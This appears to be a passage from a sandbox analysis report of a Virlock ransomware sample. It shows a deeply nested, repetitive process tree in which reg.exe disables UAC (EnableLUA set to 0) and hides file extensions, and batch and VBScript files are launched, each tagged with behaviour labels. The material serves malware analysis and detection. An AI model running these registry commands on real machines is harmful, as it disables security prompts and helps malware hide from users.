                                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                104⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2792
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                104⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2040
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                  104⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:816
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VCIkYMYg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                  104⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4840
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                      105⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3176
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                        105⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5984
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                  102⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3856
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                  102⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4224
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                    103⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:828
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                    102⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2772
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XQEAYYUE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                    102⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3548
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                      103⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:108
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                        103⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4340
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                  100⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1444
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                  100⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3544
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                    100⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4128
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rykQsggE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                    100⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1124
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                        101⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5696
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                  98⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1456
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                  98⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3600
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                  98⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:788
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\liUoQcwA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                  98⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2304
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                    99⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5788
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                              96⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5080
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                97⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:892
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                96⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3176
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                96⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6040
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\smAEAMUE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                96⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5704
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                    97⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1136
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                              94⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:828
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                95⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:480
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                94⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4596
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                94⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3752
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\GCsYEAAk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                94⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3012
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                    95⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5056
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                              92⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4296
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                              92⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2492
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                              92⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5136
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AksMYkMc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                              92⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1560
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                  93⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3596
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                            90⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3320
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                            90⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1880
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                            90⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1724
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                              91⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:956
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fYEoUcYY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                              90⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2564
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                91⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1416
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                  91⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5392
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                            88⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2776
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                            88⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1532
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                            88⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4308
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xCUMcMgo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                            88⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1348
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                              89⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5772
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                        86⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:480
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                        86⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5084
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                        86⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3012
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BmIAMUcw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                        86⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4544
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                          87⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5436
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                    84⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4560
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                    84⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3544
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                      84⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2884
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kWkkAogo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                      84⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3148
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                        85⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6048
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                  82⤵
